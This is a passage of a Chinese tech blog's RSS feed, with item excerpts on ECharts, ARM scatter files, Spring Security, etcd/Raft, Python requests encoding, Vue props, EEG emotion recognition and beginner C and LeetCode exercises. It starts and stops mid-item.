&#39;M-9.35,34.56V42m0-40V9.5m-2,0h4a2,2,0,0,1,2,2v21a2,2,0,0,1-2,2h-4a2,2,0,0,1-2-2v-21A2,2,0,0,1-11.35,9.5Z&#39;, handleStyle: { color: &#39;rgb(36,71,141)&#39;, borderColor: &#39;rgb(36,71,141)&#39;, }, moveHandleSize: 20, moveOnMouseMove: true, maxValueSpan: 7, minValueSpan: 7, moveHandleSize: 0, brushSelect: false, //刷选功能，设为false可以防止拖动条长度改变 ************（这是一个坑） }, ], </description>
    </item>
    <item>
      <title>armlink 第四章 scatter文件举例</title>
      <link>https://bchobby.github.io/posts/5f04859da0176b675806a73a2fdef510/</link>
      <pubDate>Mon, 28 Mar 2022 19:41:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f04859da0176b675806a73a2fdef510/</guid>
      <description>armlink 第四章 scatter文件举例 在前面学习了基本术语和概念之后，本章是加强scatter编写能力的章节。&#xA;4.1 什么时候使用scatter文件 scatter文件通常用于嵌入式系统中，因为这些系统含有ROM，RAM，还有一些内存映射的外设。下面的场景常使用scatter文件：&#xA;复杂的内存映射：放在不同内存区域的section，需要使用scatter文件来更精细的操控放置的位置&#xA;不同的存储类型：许多系统包含各种各样的存储设备，如flash,ROM,SDRAM,SRAM等。这时可以使用scatter文件，将更适合的存储区域放置更适合的代码。例如：中断代码放置在SRAM中，已达到快速响应的目的；而不频繁访问的配置信息可以放置在flash存储中。&#xA;内存映射的外设：在内存映射机制下，scatter文件可以在一个精确的地址放置数据section。这样访问这个数据section就相当于访问对应的外设。&#xA;在固定地址存放函数：即使修改并重新编译了应用程序，而跟应用程序紧密相关的函数还是可以放置在一个固定的位置。这个对于跳转表的实现非常有用。&#xA;使用符号标记堆和栈：当应用被链接时，可以为堆和栈定义符号&#xA;4.2 在scatter文件中指定堆和栈 在c语言中，常常需要两个存储区域，堆和栈。在所有的内存都由我们分配的情况下，堆和栈也需要我们进行分配。&#xA;在程序开始运行之前，会调用__user_setup_stackheap()函数，它负责初始化堆和栈。而这个函数根据我们在scatter文件中的设置来初始化。&#xA;要想正确的初始化堆和栈。我们需要在scatter文件中定义两个特殊的执行region。分别叫做ARM_LIB_HEAP 和ARM_LIB_STACK。这两段内存由c库进行初始化，所以不能放置任何输入section，此时应该设置EMPTY属性。同时也可以给这两个内存区域设置基址和大小。如下：&#xA;LOAD_FLASH … { … ARM_LIB_STACK 0x40000 EMPTY -0x20000 ; 栈区，向下增长 { } ARM_LIB_HEAP 0x28000000 EMPTY 0x80000 ; 堆区向上增长 { } … } 当然还有更简单的用法，只需要定义一个特殊的执行region，叫做ARM_LIB_STACKHEAP，同样他需要有EMPTY属性，并设置基址和大小&#xA;4.3 使用scatter文件描述一个简单的镜像 如下图，是一个简单的镜像内存视图。&#xA;下面根据这个图，来写一个scatter文件&#xA;LOAD_ROM 0x0000 0x8000 ; 加载region的名字叫LOAD_ROM ; 基址0x0000 ; 最大大小0x8000 { EXEC_ROM 0x0000 0x8000 ; 第一执行region的名字叫做EXEC_ROM ; 基址0x000 ; 最大大小0x8000 { * (+RO) ; 放置所有的代码和RO数据 } SRAM 0x10000 0x6000 ; 第二个执行region叫SRAM ; 基址 0x10000 ; 最大大小 0x6000 { * (+RW, +ZI) ; 放置所有的RW数据和ZI数据 } } 4.</description>
    </item>
    <item>
      <title>postman传大写字母后端收不到</title>
      <link>https://bchobby.github.io/posts/a79a7728c56a9bc9d357d0e006ecc7cc/</link>
      <pubDate>Mon, 28 Mar 2022 18:12:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a79a7728c56a9bc9d357d0e006ecc7cc/</guid>
      <description>可见我在postman传值为pId，但是idea端却收不到，但是我尝试将pId改成pid，I改成小写却可以收到。&#xA;但是我的实体类定义的就是大写的I，pId。&#xA;解决：使用注解：@JsonProperty（&#34;pId&#34;）,这里的&#34; &#34;填写想要前端和后端交互用的键名。也就是json语句中的key值，后端接收之后能对应到注解下面的属性。&#xA;例如&#xA;这里就是前端可以用1处定义的名字，对应到后端2处对应的属性。</description>
    </item>
    <item>
      <title>Windows安装GPU版pytorch报错： UserWarning: CUDA initialization: CUDA unknown error - this may be due to an</title>
      <link>https://bchobby.github.io/posts/1a422538bc24f4ded4baf3412f25e2d7/</link>
      <pubDate>Mon, 28 Mar 2022 17:34:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a422538bc24f4ded4baf3412f25e2d7/</guid>
      <description>验证GPU版pytorch是否安装成功：&#xA;1.打开Anaconda prompt，输入如下代码。&#xA;import torch import torchvision torch.cuda.is_available() 出现False，报错内容如下：&#xA;UserWarning: CUDA initialization: CUDA unknown error - this may be due to an incorrectly set up environment, e.g. changing env variable CUDA_VISIBLE_DEVICES after program start. Setting the available devices to be zero. (Triggered internally at /opt/conda/conda-bld/pytorch_1614378083779/work/c10/cuda/CUDAFunctions.cpp:109.) return torch._C._cuda_getDeviceCount() &amp;gt; 0 原因：&#xA;nvidia-modprobe 版本过低或未安裝，与显卡驱动的版本不匹配。&#xA;解决方法：&#xA;1.以Win10为例，首先我们鼠标右键点击“此电脑”，选择“管理”，在计算机管理中，我们点击“设备管理器”，展开“显示适配器”，找到并右键您的显卡设备，选择“更新驱动程序”（也可以选择属性–驱动程序–更新驱动程序），如下图所示。&#xA;2.选择第一个“自动搜索驱动程序”&#xA;3.等待片刻，就可以更新显卡驱动程序，会提示正在联机搜索驱动程序，更新好了之后，会提示“你的设备的最佳驱动程序已安装”。&#xA;4.更新好之后，再次验证pytorch，出现True即表示安装成功。</description>
    </item>
    <item>
      <title>【Spring Security】基本功能介绍</title>
      <link>https://bchobby.github.io/posts/c0ecae4fefcdde35259e926727e91335/</link>
      <pubDate>Mon, 28 Mar 2022 16:06:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0ecae4fefcdde35259e926727e91335/</guid>
      <description>文章目录 1、spring security 简介spring security 基本原理 2 入门项目2.1 web工程配置2.1 加入Spring Security 3. 参数详解3.1、注解 @EnableWebSecurity3.2、抽象类 WebSecurityConfigurerAdapter3.2.1 、configure(AuthenticationManagerBuilder auth)方法3.2.2 configure(HttpSecurity http)方法 4. 原理讲解4.1、校验流程图4.2 源码 参考 1、spring security 简介 spring security 的核心功能主要包括：&#xA;认证 （你是谁） 通过注解 @EnableWebSecurity开启&#xA;简单来说，就是需要登录，你需要输入用户名和密码，才能访问某个url。&#xA;授权 （你能干什么） 不需要通过指定的开关开启，而是通过配置来增加授权规则来生效，不增加授权规则就不生效&#xA;授权的目的是可以把资源进行划分，例如公司有不同的资料，有普通级别和机密级别，只有公司高层才能看到机密级别的子类，而普通级别的资料大家都可以看到！ 那么授权就是允许你查看某个资源，当然，如果你没有权限，就拒绝你查看！&#xA;认证可以单独使用，即不划分资源的级别，所有人只要登录都可以查看&#xA;spring security 基本原理 spring security的核心就是一组过滤器链，项目启动后将会自动配置。最核心的就是 Basic Authentication Filter 用来认证用户的身份，一个在spring security中一种过滤器处理一种认证方式。&#xA;如下图所示，这是一组链式处理器类，请求从做往右依次经过多个过滤器类处理：&#xA;比如，对于username password认证过滤器来说：&#xA;会检查是否是一个登录请求； 是否包含username 和 password （也就是该过滤器需要的一些认证信息） ； 如果不满足则放行给下一个。 下一个按照自身职责判定是否是自身需要的信息，basic的特征就是在请求头中有 Authorization:Basic eHh4Onh4 的信息。中间可能还有更多的认证过滤器。最后一环是 FilterSecurityInterceptor，这里会判定该请求是否能进行访问rest服务，判断的依据是 BrowserSecurityConfig中的配置，如果被拒绝了就会抛出不同的异常（根据具体的原因）。Exception Translation Filter 会捕获抛出的错误，然后根据不同的认证方式进行信息的返回提示。</description>
    </item>
    <item>
      <title>备考华为机试</title>
      <link>https://bchobby.github.io/posts/d048ae070670e97ab6ff299d133fe8d9/</link>
      <pubDate>Mon, 28 Mar 2022 15:15:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d048ae070670e97ab6ff299d133fe8d9/</guid>
      <description>1.去除重复字母（力扣316）&#xA;本题要求按照最小字典序返回，因此采用单调栈。&#xA;public String removeDuplicateLetters(String s) { Deque&amp;lt;Character&amp;gt; deque = new ArrayDeque&amp;lt;&amp;gt;(); for (int i = 0; i &amp;lt; s.length(); i++) { if(deque.contains(s.charAt(i))){ continue; } else { while (!deque.isEmpty() &amp;amp;&amp;amp; deque.peek()&amp;gt;s.charAt(i) &amp;amp;&amp;amp; s.indexOf(deque.peek(),i)!=-1) deque.pop(); deque.push(s.charAt(i)); } } StringBuilder sb = new StringBuilder(); while (!deque.isEmpty()){ sb.append(deque.pop()); } return sb.reverse().toString(); } 2.下一个更大元素1（力扣496）&#xA;public int[] nextGreaterElement(int[] nums1, int[] nums2) { // int[] res = new int[nums1.length]; // for (int i = 0; i &amp;lt; nums1.</description>
    </item>
    <item>
      <title>5G&#43;工业互联网丨DolphinDB携手诺基亚贝尔打造高精度实时计算平台</title>
      <link>https://bchobby.github.io/posts/eb35a40823d89053cca6ccda7d2360bd/</link>
      <pubDate>Mon, 28 Mar 2022 14:17:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb35a40823d89053cca6ccda7d2360bd/</guid>
      <description>近日，由智臾科技（DolphinDB）承担、诺基亚贝尔参与，双方共同申报的「基于5G Pre-TSN 网络的高精度时间同步实时计算平台」项目，成功入围浙江省“尖兵”、“领雁”研发攻关计划项目，时序数据库技术将尝试用于解决&#34;5G+工业互联网&#34;中低成本终端缺少高精度时间支持的难题。&#xA;项目简介 在工业互联网和工业制造领域，5G 凭借着大带宽、高可靠、低时延、广连接等特性，促成了云计算、大数据、人工智能、物联网、区块链与工业互联网等新一代信息技术的无缝融合，打通了数据从采集、存储、传送、处理、分析到决策的全过程，数据已经成为新一代生产要素，其中针对典型的异常检测问题，基于丰富的传感器采集的数据，引入了大数据分析和机器学习，带来了对数据时间相关性和海量实时数据存储和计算、分析处理的问题。&#xA;本项目计划引入 4G/5G 系统(用户设备+无线接入网+核心网),以及 ORAN 无线智能控制平台（RIC）和 ETSI MEC API 框架,搭建一个边缘计算平台，以找到能用更低成本、更轻量的方法来满足使用 5G 系统的大数据分析和机器学习算法中对于数据时间相关性的要求。ORAN 架构定义了近实时的无线智能控制平台和可编程的对无线接入网的增强，它提供了一个标准框架来解决这个问题。&#xA;同时将开发一个集数据库和数据计算功能于一体的实时计算平台，以满足对海量数据进行低时延异常检测、实时计算和机器学习的需求。其主要功能模块包含：高性能高压缩的数据存储引擎，支持海量数据的高速读写；多范式编程语言，支持丰富的计算函数与统计分析和机器学习功能；实时数据流计算，内置流数据时间序列聚合引擎，横截面聚合引擎和异常检测引擎可实现高性能流计算，支持亚毫秒级的信息延迟。&#xA;DolphinDB将和诺基亚贝尔携手合作，充分发挥DolphinDB高性能分布式时序数据库在海量数据存储、内置编程脚本语言和高速实时计算上的领先优势，依托诺基亚贝尔在5G 上行数据上的先进赋时技术，共同研发低成本、高精度的多终端时间戳同步系统，将时间戳精度从目前的几十到几百毫秒降低到低于 5毫秒，从而打造&#34;弱终端、强基站&#34;的增强 5G 系统。&#xA;行业痛点 目前5G+工业互联网在推动制造业向数字化、网络化、智能化转变过程中正发挥越来越重要的作用，但在推广过程中也遇到一些痛点问题：&#xA;因为精准授时需要北斗/GPS等授时设备或同步时钟源，室内环境还需光纤网络，投资巨大，所以很多行业都没有用高精度授时的传感设备，时间精度低。虽然目前5G 网络号称低时延，但实际网络时延抖动能高达几十毫秒；实时计算分析软件无法实现毫秒级响应。&#xA;这些问题导致不同数据源的数据时间戳不准且难以对齐，制约了高端制造业数据要素的挖掘效力。 图1 多源头的数据存在时间同步问题&#xA;研发重点 本项目拟基于开放无线接入网ORAN 架构，实现弱终端、强基站，用低成本方式提高传感器的时间精度，确保时间精度误差小于5ms，主要开发内容包括如下三个方面：&#xA;图2 系统架构图&#xA;用5G基站收到数据的时间，加上智能补偿来取代发送方的绝对时间，实现弱终端、强基站。基于无线接入网智能控制器（RIC），对传统5G基站进行增强，对带有特定识别号（如IP或者切片ID等）的上行数据增加高精度的时间戳，同时报告上行传输中可能发生数据丢失时的异常事件。采用集数据存储和计算于一体的DolphinDB实时计算平台进行数据分析。针对时序数据的流数据处理，历史数据处理，机器学习建模，均可以在分布式数据库内完成。优化基础算法、内存管理与系统架构，实现毫秒级SQL和计算响应速度。 应用场景 本项目高精度时间戳的获得，将从根本上解决多源头数据存在的时间同步精度低的难题，为工业互联网和工业制造领域的大数据分析和机器学习提供高精度的可用数据，从而显著提升数据分析和预测的精度。&#xA;项目成果将首先应用于电缆、半导体等高速生产线的设备状态实时异常检测领域，比如某公司的射频电缆生产场景，其生产工序包含一条连续的流水线，和几个离散的生产步骤，各自使用独立的设备。这种依赖于独立的分散过程检测有一个缺陷，门限设置过低，容易产生误报；门限设置过高，则成品率低。因此需要对相关的数据进行关联分析，并更精准地识别是否存在生产质量问题，以及生产工序是否存在系统性误差等深度问题。本项目成果应用于这套异常检测系统，将显著提高产品的成品率。&#xA;关于我们 DolphinDB是一款专为海量时序数据设计的数据库产品，将编程语言、数据库和分布式计算从底层进行一体化设计，开创性地解决了快速开发、高速运行和简单部署三者难以兼顾的难题，为海量结构化数据的快速存储、检索、 分析及计算量身订做一站式解决方案。&#xA;DolphinDB目前被广泛应用于金融市场全域（低频、中频和高频）的数据存储、数据清洗、因子分析、策略回测、实时计算等场景中。在物联网领域，尤其是化工、电力、能源、水务等行业，DolphinDB通过联合各行业头部集成商，将DolphinDB集成到行业解决方案中，实现海量数据的存储和实时计算，为用户提供性能优异的整体解决方案。</description>
    </item>
    <item>
      <title>基于seed数据集的脑电情绪识别（附论文和源码）（改进的循环神经网络（简单循环单元神经网络）和集成学习）并提取了微分熵、功率谱等特征</title>
      <link>https://bchobby.github.io/posts/373b031bf5aa871788ec862f2728adfb/</link>
      <pubDate>Mon, 28 Mar 2022 12:20:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/373b031bf5aa871788ec862f2728adfb/</guid>
      <description>论文和源码链接见个人主页：基于seed数据集的脑电情绪识别（附论文和源码）（改进的循环神经网络和集成学习）并提取了微分熵、功率谱等特征。&#xA;https://download.csdn.net/download/qq_45874683/83935782&#xA;介绍一篇2020年的基于seed数据集的脑电情绪识别的论文&#xA;摘要 本研究的目的是开发一个基于脑电图的情绪识别系统，用于识别三种情绪：积极情绪、中性情绪和消极情绪。到目前为止，各种用于自动情感识别的建模方法已经被报道。然而，情感过程中的时间依赖性并没有得到充分考虑。为了掌握脑电的时间信息，我们采用了深度循环（SRU）神经网络，该网络不仅能够处理序列数据，而且能够解决常规循环神经网络（RNN）中长期依赖的问题。在训练情绪模型之前，采用双树复小波变换（DT-CWT）将原始脑电信号分解为五个子带，然后利用时间、频率和非线性分析从中提取特征。接下来，利用五个频带上的四种不同特征（功率谱密度和微分熵等特征）建立了深层SRU模型，发现良好的结果与更高的频带有关。最后，采用三种集成策略对基本SRU模型进行集成，以获得更理想的分类性能。我们评估和比较了浅层模型、深层模型和集成模型的性能。实验结果表明，基于SRU网络和集成学习的情感识别系统能够以相对经济的计算成本获得满意的识别性能。最终准确率达到80%。&#xA;首先将seed数据集划分为三种情绪类型，积极、中性和消极。（SEED数据集包含15名受试者观看4分钟电影片段时的脑电信号）&#xA;本论文使用的主要方法： ● 使用DT-CWT进行脑电信号数据预处理。&#xA;● 利用分解后的脑电信号进行特征提取。&#xA;● 使用SRU建立模型。&#xA;● 整体学习&#xA;本论文所提取的特征： 1.时域特征：时间分析（平均绝对值）（MAV）&#xA;2.频域特征：频率分析（功率谱密度）(PSD)&#xA;3.时频域特征：复杂性分析（分形维数和微分熵）(FD 和 DE)&#xA;训练方法： ● 每个特征提取以19个时间间隔进行，为每个EEG信号生成19个时间步长。&#xA;● 每个EEG信号的62个通道作为模型的特征。&#xA;● 对每个DTCWT分解信号提取四种特征，并将其转换为19个序列长度。&#xA;● 每个样本的数据分为15部分，前9部分用于训练集，后面6部分用于测试，&#xA;数据维度：训练数据（19,9,62）和测试数据（19,6,62）（时间步、样本、特征）&#xA;模型图： 循环神经网络（RNN）：&#xA;改进的循环神经网络：&#xA;二重的改进模型：&#xA;实验的完整步骤： 最终结果： 部分代码解析：&#xA;DC-TWT:&#xA;transform = dtcwt.Transform1d() for row in range(data.shape[0]): for col in data.columns: #checking if size of eeg_data is even if(len(data.loc[row,col])%2!=0): eeg_data=np.array(data.loc[row,col][:-1]) else: eeg_data=np.array(data.loc[row,col]) vecs_t = transform.forward(eeg_data, nlevels=5) data_dtcwt_delta.loc[row,col]=vecs_t.highpasses[0] data_dtcwt_theta.loc[row,col]=vecs_t.highpasses[1] data_dtcwt_alpha.loc[row,col]=vecs_t.highpasses[2] data_dtcwt_beta.loc[row,col]=vecs_t.highpasses[3] data_dtcwt_gamma.</description>
    </item>
    <item>
      <title>解析Python requests响应内容编码规则</title>
      <link>https://bchobby.github.io/posts/2441dca9308dc08d274b0f417f6261e8/</link>
      <pubDate>Mon, 28 Mar 2022 09:37:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2441dca9308dc08d274b0f417f6261e8/</guid>
      <description>1.发现问题 我们在使用requests发送请求时，响应的内容有时候会出现乱码的情况，下面我举一个例子：&#xA;import requests r = requests.get(&#39;http://www.baidu.com&#39;) print(r.text) # 打印发现内容为乱码 我们可以使用r.encoding来查看编码解析text时我们的字符集编码是什么:&#xA;print(r.encoding) 打印结果:&#xA;然后我们在通过r.text查看到HTML本身的字符集编码是utf-8,所以这里才会出现乱码的情况&#xA;2.解决问题 2.1方式一 我们通过r.text查看到HTML或XML文本自身的字符集编码,然后通过r.encoding设置就行了&#xA;import requests r = requests.get(&#39;http://www.baidu.com&#39;) r.encoding = &#39;utf-8&#39; print(r.text) # 此时发现打印的内容就不是乱码了 2.2方式二 我们可以通过r.apparent_encoding去拿到字符集编码(由 charset_normalizer 或 chardet 库提供的表观编码)。&#xA;import requests r = requests.get(&#39;http://www.baidu.com&#39;) r.encoding = r.apparent_encoding print(r.text) # 此时发现打印的内容就不是乱码了 3.分析问题 3.1 requests响应内容编码规则 我这里用的Pycharm,所以大家看步骤就好,有些快捷键可能不同的IDE不同。&#xA;按两下Shift键,打开搜索搜索框输入utils,点击Classes选择requests下的utils,并点击&#xA;Ctrl+F,搜索输入:get_encoding_from_headers&#xA;这个函数就是requests的字符集编码规则获取方法,接下来我们分析一下里面的步骤(我用注释的方式来写)：&#xA;def get_encoding_from_headers(headers): &#34;&#34;&#34;Returns encodings from given HTTP Header Dict. :param headers: dictionary to extract encoding from. :rtype: str &#34;</description>
    </item>
    <item>
      <title>etcd原理</title>
      <link>https://bchobby.github.io/posts/f96fd04aa040f4cb1f04ec463dfb8155/</link>
      <pubDate>Mon, 28 Mar 2022 09:05:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f96fd04aa040f4cb1f04ec463dfb8155/</guid>
      <description>etcd简介 ETCD是用于共享配置和服务发现的分布式，一致性的KV存储系统。它是一个优秀的高可用分布式键值对存储数据库。etcd内部采用了Raft协议作为一致性算法，且使用Go实现。&#xA;ETCD作为一个受到ZooKeeper与docker启发而催生的项目，除了拥有与之类似的功能外，更专注于以下四点：&#xA;简单：基于HTTP+JSON的API让你用curl就可以轻松使用。安全：可选SSL客户认证机制。快速：每个实例每秒支持一千次写操作。可信：使用Raft算法充分实现了分布式。 分布式系统中的数据分为控制数据和应用数据。etcd的使用场景默认处理的数据都是控制数据，对于应用数据，只推荐数据量很小，但是更新访问频繁的情况。&#xA;应用场景有如下几类：&#xA;场景一：服务发现（Service Discovery）场景二：消息发布与订阅场景三：负载均衡场景四：分布式通知与协调场景五：分布式锁、分布式队列场景六：集群监控与Leader竞选 举个最简单的例子，如果你需要一个分布式存储仓库来存储配置信息，并且希望这个仓库读写速度快、支持高可用、部署简单、支持http接口，那么就可以使用etcd。&#xA;etcd工作原理 ETCD使用Raft协议来维护集群内各个节点状态的一致性。简单说，ETCD集群是一个分布式系统，由多个节点相互通信构成整体对外服务，每个节点都存储了完整的数据，并且通过Raft协议保证每个节点维护的数据是一致的。&#xA;每个ETCD节点都维护了一个状态机，并且，任意时刻至多存在一个有效的主节点。主节点处理所有来自客户端写操作，通过Raft协议保证写操作对状态机的改动会可靠的同步到其他节点。&#xA;ETCD工作原理核心部分在于Raft协议和watch机制。&#xA;Raft协议 Raft协议主要分为三个部分：选主，日志复制，安全性。&#xA;选主 Raft协议是用于维护一组服务节点数据一致性的协议。这一组服务节点构成一个集群，并且有一个主节点来对外提供服务。当集群初始化，或者主节点挂掉后，面临一个选主问题。集群中每个节点，任意时刻处于Leader, Follower, Candidate这三个角色之一。选举特点如下：&#xA;当集群初始化时候，每个节点都是Follower角色；集群中存在至多1个有效的主节点，通过心跳与其他节点同步数据；当Follower在一定时间内没有收到来自主节点的心跳，会将自己角色改变为Candidate，并发起一次选主投票；当收到包括自己在内超过半数节点赞成后，选举成功；当收到票数不足半数选举失败，或者选举超时。若本轮未选出主节点，将进行下一轮选举（出现这种情况，是由于多个节点同时选举，所有节点均为获得过半选票）。Candidate节点收到来自主节点的信息后，会立即终止选举过程，进入Follower角色。 为了避免陷入选主失败循环，每个节点未收到心跳发起选举的时间是一定范围内的随机值，这样能够避免2个节点同时发起选主。&#xA;日志复制 所谓日志复制，是指主节点将每次操作形成日志条目，并持久化到本地磁盘，然后通过网络IO发送给其他节点。其他节点根据日志的逻辑时钟(TERM)和日志编号(INDEX)来判断是否将该日志记录持久化到本地。当主节点收到包括自己在内超过半数节点成功返回，那么认为该日志是可提交的(committed），并将日志输入到状态机，将结果返回给客户端。&#xA;这里需要注意的是，每次选主都会形成一个唯一的TERM编号，相当于逻辑时钟。每一条日志都有全局唯一的编号。&#xA;主节点通过网络IO向其他节点追加日志。若某节点收到日志追加的消息，首先判断该日志的TERM是否过期，以及该日志条目的INDEX是否比当前以及提交的日志的INDEX跟早。若已过期，或者比提交的日志更早，那么就拒绝追加，并返回该节点当前的已提交的日志的编号。否则，将日志追加，并返回成功。&#xA;当主节点收到其他节点关于日志追加的回复后，若发现有拒绝，则根据该节点返回的已提交日志编号，发生其编号下一条日志。&#xA;主节点像其他节点同步日志，还作了拥塞控制。具体地说，主节点发现日志复制的目标节点拒绝了某次日志追加消息，将进入日志探测阶段，一条一条发送日志，直到目标节点接受日志，然后进入快速复制阶段，可进行批量日志追加。&#xA;按照日志复制的逻辑，我们可以看到，集群中慢节点不影响整个集群的性能。另外一个特点是，数据只从主节点复制到Follower节点，这样大大简化了逻辑流程。&#xA;安全性 截止此刻，选主以及日志复制并不能保证节点间数据一致。试想，当一个某个节点挂掉了，一段时间后再次重启，并当选为主节点。而在其挂掉这段时间内，集群若有超过半数节点存活，集群会正常工作，那么会有日志提交。这些提交的日志无法传递给挂掉的节点。当挂掉的节点再次当选主节点，它将缺失部分已提交的日志。在这样场景下，按Raft协议，它将自己日志复制给其他节点，会将集群已经提交的日志给覆盖掉。&#xA;这显然是不可接受的。&#xA;其他协议解决这个问题的办法是，新当选的主节点会询问其他节点，和自己数据对比，确定出集群已提交数据，然后将缺失的数据同步过来。这个方案有明显缺陷，增加了集群恢复服务的时间（集群在选举阶段不可服务），并且增加了协议的复杂度。&#xA;Raft解决的办法是，在选主逻辑中，对能够成为主的节点加以限制，确保选出的节点已定包含了集群已经提交的所有日志。如果新选出的主节点已经包含了集群所有提交的日志，那就不需要从和其他节点比对数据了。简化了流程，缩短了集群恢复服务的时间。&#xA;这里存在一个问题，加以这样限制之后，还能否选出主呢？答案是：只要仍然有超过半数节点存活，这样的主一定能够选出。因为已经提交的日志必然被集群中超过半数节点持久化，显然前一个主节点提交的最后一条日志也被集群中大部分节点持久化。当主节点挂掉后，集群中仍有大部分节点存活，那这存活的节点中一定存在一个节点包含了已经提交的日志了。&#xA;etcd和zk的区别 etcd和zk的区别如下所示：&#xA;除了以上区别之外，两者区别还包括：&#xA;运维方面：ETCD方便运维，ZK难以运维；项目活跃度：ETCD社区与开发活跃，ZK已经快死了；API：ETCD提供HTTP+JSON, gRPC接口，跨平台跨语言，ZK需要使用其客户端；访问安全方面：ETCD支持HTTPS访问，ZK在这方面缺失；ETCD主要用于存储关键数据的键值存储，zk用于管理配置等信息的中心化服务；ETCD更轻量级、更易用； watch机制&#xA;这里重点提一下watch机制，watcher指的是订阅/通知，当一个值改变时，通知订阅过的节点，在etcd中是K/V值对的改变，在Zookeeper中是znode的改变（值改变、节点删除等）。&#xA;ZooKeeper&#xA;watch children只能watch子节点，不能递归watch孙节点watch children只能watch子节点的创建和删除，不能watch子节点值的变化watch node只能对已经存在的node进行watch，对不存在的node需要watch existence。 除了上述的这些不足以外，在其官网文档中自己也提到，在watch被触发和重新设置之间发生的事件将被丢弃，无法被捕捉。&#xA;Etcd&#xA;Etcd支持单点watch，prefix watch以及ranged watch。和ZooKeeper不同，Etcd不会根据事件的不同而要求调用不同的watch API，三类watch的区别仅在于对key的处理不同：&#xA;单点watch仅对传入的单个key进行watch；ranged watch可以对传入的key的范围进行watch，范围内的key的事件都会被捕捉；prefix则可以对所有具有给定prefix的key进行watch。 zookeeper可以作为分布式存储吗?&#xA;在应用场景上，etcd和Zookeeper也很一致，难道Zookeeper本质上是分布式存储组件，为此，我查了下 Zookeeper是否可以作为分布式存储系统？ 在知乎上的答案为 zookeeper只存元数据，总结几点原因如下:&#xA;znode只能存1M以内的数据写入性能低，为保证一致性，每次需要n/2+1的写入完成才算完成zookeeper的数据是全部存储在内存,只适合存元数据Zookeeper的使用场景是有高一致性的 zookeeper与etcd的对比&#xA;ETCD相关介绍–整体概念及原理方面&#xA;从零开始入门 K8s | 手把手带你理解 etcd&#xA;etcd命令行和客户端 etcd在键的组织上采用了层次化的空间结构(类似于文件系统中目录的概念)，用户指定的键可以为单独的名字，如：testkey，此时实际上放在根目录/下面，也可以为指定目录结构，如/cluster1/node2/testkey，则将创建相应的目录结构。</description>
    </item>
    <item>
      <title>大学生C语言期末必背题目，考研必背题目，找工作基础题目</title>
      <link>https://bchobby.github.io/posts/5d78ec9ff4351baa7f9501917fe19e63/</link>
      <pubDate>Sun, 27 Mar 2022 23:49:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d78ec9ff4351baa7f9501917fe19e63/</guid>
      <description>1、输出9*9口诀。共9行9列，i控制行，j控制列。 //99乘法表 int main() { for (int i = 1; i &amp;lt;= 9; i++) { for (int j = 1; j &amp;lt;= i; j++) { printf(&#34;%d x %d = %-4d&#34;,i,j,i*j); } printf(&#34;\n&#34;); } } 运行结果：&#xA;2、古典问题:有一对兔子，从出生后第3个月起每个闯都生一对兔子，小兔子长到第三个月后每个月又生一对兔子，假如兔子都不死，问每个月的兔子总数为多少?（斐波那契数列） //兔子繁殖问题 #define month 20 int main() { long x1 = 1, x2 = 1; for (int i = 1; i &amp;lt;= month; i++) { printf(&#34;%-12ld%-12ld&#34;, x1, x2); if (i % 2 == 0) { printf(&#34;</description>
    </item>
    <item>
      <title>vue 父子组件传参</title>
      <link>https://bchobby.github.io/posts/bdf9350049d13a2e3dd49836c5cdc67c/</link>
      <pubDate>Sun, 27 Mar 2022 22:28:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bdf9350049d13a2e3dd49836c5cdc67c/</guid>
      <description>1.父传子&#xA;父组件里面获取的一些属性，子组件也想使用。&#xA;父组件在使用子组件是给调用的子组件设置字段并把要传的值赋值过去&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;!-- 这里是父组件 --&amp;gt; &amp;lt;h1&amp;gt;这里是父组件&amp;lt;/h1&amp;gt; &amp;lt;B :msg=&#34;msgs&#34; :arr=&#34;items&#34;&amp;gt;&amp;lt;/B&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import B from &#39;./B.vue&#39; export default { components: { B }, data() { return { msgs:&#39;父组件的内容被子组件调用&#39;, items:[ {id:1,name:&#39;语文&#39;}, {id:2,name:&#39;数学&#39;}, {id:3,name:&#39;生物&#39;}, {id:4,name:&#39;化学&#39;} ] } }, } &amp;lt;/script&amp;gt; &amp;lt;style lang=&#34;scss&#34; scoped&amp;gt; &amp;lt;/style&amp;gt; 这里的子组件在data里面定义props来接受传过来的值&#xA;拿到的数据，可以直接遍历展示&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;!-- 这里是子组件 --&amp;gt; &amp;lt;h1&amp;gt;这里是子组件&amp;lt;/h1&amp;gt; &amp;lt;h3&amp;gt;{{msg}}&amp;lt;/h3&amp;gt; &amp;lt;h3 v-for=&#34;item in arr&#34; :key=&#34;item.id&#34;&amp;gt; {{item.id}},,,,{{item.name}} &amp;lt;/h3&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { props:[&#39;msg&#39;,&#34;arr&#34;], } &amp;lt;/script&amp;gt; &amp;lt;style lang=&#34;</description>
    </item>
    <item>
      <title>python判定两个列表list是否具有完全相同的元素</title>
      <link>https://bchobby.github.io/posts/c6b4660f22ed89ea7f10d38a73bc5b5f/</link>
      <pubDate>Sun, 27 Mar 2022 21:51:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6b4660f22ed89ea7f10d38a73bc5b5f/</guid>
      <description> 判断两个列表list是否具有完全相同的元素，不考虑元素的顺序，两个list中的每一个list中都可能有相同的元素，所以这个算法应该是比较通用的。&#xA;def two_list_have_same_element(l1, l2): if len(l1) != len(l2): return False else: n = len(l1) matched = [False for i in range(n)] for i1 in range(n): flag = 1 for i2 in range(n): if matched[i2] == False and l1[i1] == l2[i2]: flag = 0 matched[i2] = True break if flag == 1: return False return True </description>
    </item>
    <item>
      <title>【翻译】Graphlib API 指南</title>
